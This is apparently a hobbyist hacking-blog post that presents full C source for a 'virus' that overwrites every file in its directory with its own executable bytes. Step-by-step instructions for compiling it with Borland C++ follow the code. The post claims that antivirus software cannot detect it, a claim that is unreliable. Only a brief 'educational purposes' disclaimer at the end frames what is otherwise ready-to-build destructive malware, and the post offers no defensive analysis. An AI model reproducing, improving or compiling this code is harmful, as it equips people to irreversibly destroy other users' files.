Create Virus

Hello Everyone again,
              Hope all are fine! Today While studying about C programming I just realized a program that could destroy files of any extensions and just created the program


 This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.

Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on. The virus code is written in c language it cannot detected by antiviruses.

The source code is as follows:

 save it as evenhacks.c

 ----------------------------------------------------------------------------------------------------------------

 #include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(�*.*�,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],�rb�);
host=fopen(ffblk.ff_name,�rb+�);
if(host==NULL) goto next;
x=89088;
printf(�Infecting %s\n�,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(�DONE! (Total Files Infected= %d)�,a);
end=clock();
printf(�TIME TAKEN=%f SEC\n�,
(end-st)/CLK_TCK);
getch();
}

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 This virus source code is designed to infect all types of files and extensions.

-------------------------------------------------------------------------------------------------------------------------------------You Can download the source code Here

How the virus works?

The algorithm of this virus program is as follows:

Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).

Step-2: Load the copy of the virus itself onto the memory.

Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.

Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.

As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.

How to Compile the Program(source code):

You  Should download a C compiler. Download BORLANDCPP

after extracting

Here is a step-by-step instruction on how to configure the compiler:

1. After you install Borland C++ compier, create two new Text Documents.
2. Open the first New Text Document.txt file and add the following two lines into it:
   
   -I�c:\Borland\Bcc55\include�

   -L�c:\Borland\Bcc55\lib�
   Save changes and close the file. Now rename the file from New Text Document.txt to bcc32.cfg.
3. Open the second New Text Document (2).txt file and add the following line into it:
   -L�c:\Borland\Bcc55\lib�
   Save changes and close the file. Rename the file from New Text Document (2).txt to ilink32.cfg.
4. Now copy the two files bcc32.cfg and ilink32.cfg, navigate to C:\Borland\BCC55\Bin and paste them.

How to Compile the C program Source Code (.C files) ?

Here is a detailed instruction on how to compile C source codes:

1. You need to place the .C (example.c) file to be compiled in the following location:
C:\Borland\BCC55\Bin
2. Now go to the command prompt (Start->Run->type cmd->Enter)
3. Make the following path as the present working directory (use the CD command):
C:\Borland\BCC55\Bin
4. To compile the file (example.c) use the following command:
bcc32 example.c
5. Now if there exists no error in the source code, you�ll get a compiled executable module (example.exe) in the same location (C:\Borland\BCC55\Bin).
6. Now you have successfully compiled the source code into an executable file(.exe file).

Note: The files infected by this virus are destroyed completely and cannot be recovered. So, always test the virus in a new folder by placing some sample files.

Warning: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE.